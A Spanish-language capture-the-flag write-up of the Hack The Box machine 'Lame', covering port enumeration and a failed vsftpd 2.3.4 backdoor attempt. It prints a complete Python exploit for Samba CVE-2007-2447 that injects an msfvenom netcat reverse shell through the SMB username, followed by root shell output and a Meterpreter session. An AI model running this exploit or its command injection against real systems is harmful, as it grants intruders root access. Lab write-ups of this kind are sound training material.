Enumeración
Nuestra fase de reconocimiento inició validando la conectividad con la máquina objetivo. El TTL=63 del paquete ICMP nos indicó que nos enfrentábamos a un sistema operativo Linux. Al realizar el escaneo de puertos con Nmap, descubrimos una gran superficie de ataque con múltiples servicios activos:
- 21 (FTP) - vsftpd 2.3.4
- 22 (SSH) - OpenSSH 4.7p1 Debian 8ubuntu1
- 139/445 (SMB) - Samba 3.0.20-Debian
- 3632 (distccd) - distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Al enumerar las versiones de estos servicios, encontramos software extremadamente desactualizado. El servicio FTP corría una versión infame por contener un backdoor malicioso de fábrica. Aunque intentamos enumerar el servicio SMB con una sesión nula smbclient, solo encontramos archivos temporales sin importancia generados por la infraestructura de VMware y el entorno gráfico X11.
# Inicializar la estructura de directorios y establecer la variable global $IP
┌──(jquirozz㉿jquirozz.com)-[~/HTB]
└─$ htb-init lame 10.129.32.92
Target IP globally set to: 10.129.32.92
# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=63 que confirma casi con seguridad un sistema Linux
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ ping -c 1 $IP
64 bytes from 10.129.32.92: icmp_seq=1 ttl=63 time=158 ms
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
# Extraer y copiar al portapapeles los puertos abiertos encontrados en el escaneo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ extractPorts nmap/allPorts
[*] IP Address: 10.129.32.92
[*] Open ports: 21,22,139,445,3632
[!] Ports copied to clipboard
# [-p...] Escanear específicamente los puertos descubiertos
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
# [-oN] Guardar el output en formato Nmap normal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ sudo nmap -p21,22,139,445,3632 -sCV --min-rate=5000 $IP -oN nmap/services
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.233
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h59m25s, deviation: 2h49m45s, median: -36s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2026-05-10T04:49:49-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
# Intentar conectarnos al recurso compartido oculto temporal de forma anónima (-N)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ smbclient //$IP/tmp -N
smb: \> ls
5649.jsvc_up R 0 Sun May 10 04:44:40 2026
.ICE-unix DH 0 Sun May 10 04:43:25 2026
vmware-root DR 0 Sun May 10 04:44:07 2026
.X11-unix DH 0 Sun May 10 04:43:52 2026
.X0-lock HR 11 Sun May 10 04:43:52 2026
vgauthsvclog.txt.0 R 1600 Sun May 10 04:43:23 2026
Explotación
Inicialmente, intentamos explotar el conocido backdoor de vsftpd 2.3.4 utilizando Metasploit. Sin embargo, aunque el exploit se ejecutó, no logramos establecer la conexión (más adelante confirmamos que el firewall local estaba bloqueando el puerto 6200).
Ante este bloqueo, pivotamos hacia el servicio Samba 3.0.20, el cual es vulnerable a CVE-2007-2447 (Username map script Command Execution). Esta vulnerabilidad permite inyectar comandos del sistema operativo a través del campo de nombre de usuario durante la autenticación SMB. Descargamos un exploit público escrito en Python, configuramos un entorno virtual para sus dependencias e inyectamos un payload de reverse shell generado con msfvenom. Al enviar la petición maliciosa, el servicio Samba (que se ejecuta como root) procesó nuestro comando, devolviéndonos una reverse shell directa con privilegios máximos uid=0, logrando comprometer completamente la máquina en un solo paso.
# Iniciar Metasploit de forma silenciosa e intentar explotar el FTP
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame/scripts]
└─$ msfconsole -q
msf > search ftp 2.3.4
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD 2.3.4 Backdoor Command Execution
# Seleccionar el módulo y configurar las variables de IP objetivo (RHOSTS) e IP atacante (LHOST)
msf > use 0
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.129.32.92
msf exploit(unix/ftp/vsftpd_234_backdoor) > set lhost 10.10.14.233
# Lanzar el exploit. Falla la conexión al puerto bind (6200/TCP) del backdoor
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.10.14.233:4444
[!] 10.129.32.92:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > exit
# Pivotamos hacia Samba. Clonar un repositorio público con el exploit para CVE-2007-2447
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ git clone https://github.com/h3x0v3rl0rd/CVE-2007-2447
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ nano CVE-2007-2447/smb3.0.20.py
Recuerda revisar el código, no ejecutes algo que no conoces!
#!/usr/bin/python3
#exploit Samba smbd 3.0.20-Debian
from smb import *
from smb.SMBConnection import *
from subprocess import getoutput
import argparse
def generate_payload(lh, lp):
payload = getoutput(f"msfvenom -p cmd/unix/reverse_netcat LHOST={lh} LPORT={lp} -f python 2>/dev/null | tail -n +1")
final_cmd = (payload)
l = {}
exec(final_cmd, {}, l)
return l["buf"]
def main():
# Configurar los argumentos de consola requeridos (Host/Puerto atacante y Host objetivo)
parser = argparse.ArgumentParser(description = "Exploit Samba smbd 3.0.20-Debian CVE-2007-2447")
parser.add_argument("-lh", type=str, help="LHOST -> attacker", required=True)
parser.add_argument("-lp", type=str, help="LPORT -> attacker port", required=True)
parser.add_argument("-t", type=str, help="target -> target ip", required=True)
parser.usage = parser.format_help()
args = parser.parse_args()
# Generar el payload usando los argumentos pasados
buf = generate_payload(args.lh, int(args.lp)).decode()
print("Payload created & now sending it....")
# VULNERABILIDAD PRINCIPAL:
# Samba 3.0.20 permite inyección de comandos si metemos metacaracteres de shell (` `) en el nombre de usuario.
userID = "/=` nohup " + buf + "`"
password = "password"
victim_ip = args.t
# Conectarse a Samba e intentar autenticarse, lo que gatilla la ejecución del payload como root
conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False)
conn.connect(victim_ip, 445)
if __name__ == '__main__':
main()
Ahora si, pasemos con la activación y ejecución del exploit.
# Crear e iniciar un entorno virtual de Python para no ensuciar el sistema principal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ python3 -m venv .venv
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ source .venv/bin/activate
# Instalar la librería requerida por el exploit
┌──(.venv)─(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ pip3 install pysmb
# En una terminal aparte, ponemos a netcat a escuchar en el puerto 4444
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ nc -nlvp 4444
# Ejecutar el exploit apuntando a la máquina Lame
┌──(.venv)─(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ python3 scripts/CVE-2007-2447/smb3.0.20.py -lh 10.10.14.233 -lp 4444 -t $IP
Payload created & now sending it....
# Recibimos la conexión entrante en Netcat
connect to [10.10.14.233] from (UNKNOWN) [10.129.32.92] 46882
# Confirmar que somos el usuario root y leer ambas flags
id
uid=0(root) gid=0(root)
ls /home
ftp
makis
service
user
ls /home/makis
user.txt
cat /home/makis/user.txt
03****************************b1
# Pwned!
cat /root/root.txt
e7****************************85
¿Por qué falló el exploit inicial?
A modo de análisis retrospectivo y para entender completamente la arquitectura de seguridad de la máquina, investigamos por qué falló nuestro intento inicial de explotar el FTP.
El famoso backdoor de vsftpd 2.3.4 funciona identificando una “carita sonriente” en el nombre de usuario introducido durante el login. Cuando el servicio detecta esta cadena, abre automáticamente un puerto a la escucha (bind shell) en el puerto 6200/TCP del servidor. Al revisar los puertos locales desde dentro de la máquina comprometida, comprobamos que el exploit de Metasploit sí activó el backdoor. El puerto 6200 estaba en estado LISTEN. Sin embargo, el firewall ufw estaba configurado para bloquear cualquier tráfico entrante a ese puerto. Como prueba de concepto, añadimos una regla al firewall para permitir el tráfico por el puerto 6200 y relanzamos el exploit de Metasploit, logrando esta vez obtener una sesión exitosa de Meterpreter como administrador.
# Verificamos si el backdoor abrió el puerto localmente
netstat -tnlp | grep 6200
tcp 0 0 0.0.0.0:6200 0.0.0.0:* LISTEN 6133/vsftpd
# Comprobamos las reglas actuales del firewall (UFW)
# Notamos que solo los puertos estándares escaneados por Nmap estaban permitidos (ALLOW)
ufw status
Firewall loaded
To Action From
-- ------ ----
22:tcp ALLOW Anywhere
22:udp ALLOW Anywhere
21:tcp ALLOW Anywhere
3632:tcp ALLOW Anywhere
3632:udp ALLOW Anywhere
139:tcp ALLOW Anywhere
139:udp ALLOW Anywhere
445:tcp ALLOW Anywhere
445:udp ALLOW Anywhere
# Prueba de concepto: Agregamos manualmente la regla para permitir el puerto del backdoor
ufw allow 6200
Rule added
# En nuestra máquina atacante, volvemos a configurar Metasploit
┌──(jquirozz㉿jquirozz.com)-[~/HTB/lame]
└─$ msfconsole -q
msf > search ftp 2.3.4
msf > use 0
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.129.32.92
msf exploit(unix/ftp/vsftpd_234_backdoor) > set lhost 10.10.14.233
# Antes de añadir la regla en UFW (El intento original)
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.10.14.233:4444
[!] 10.129.32.92:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
# Después de añadir la regla en UFW (Explotación exitosa)
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.10.14.233:4444
[!] 10.129.32.92:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 10.129.32.92:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.10.14.233:4444 -> 10.129.32.92:47251) at 2026-05-10 05:42:26 -0400
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions 1
# Confirmar exploit con privilegios
meterpreter > getuid
Server username: root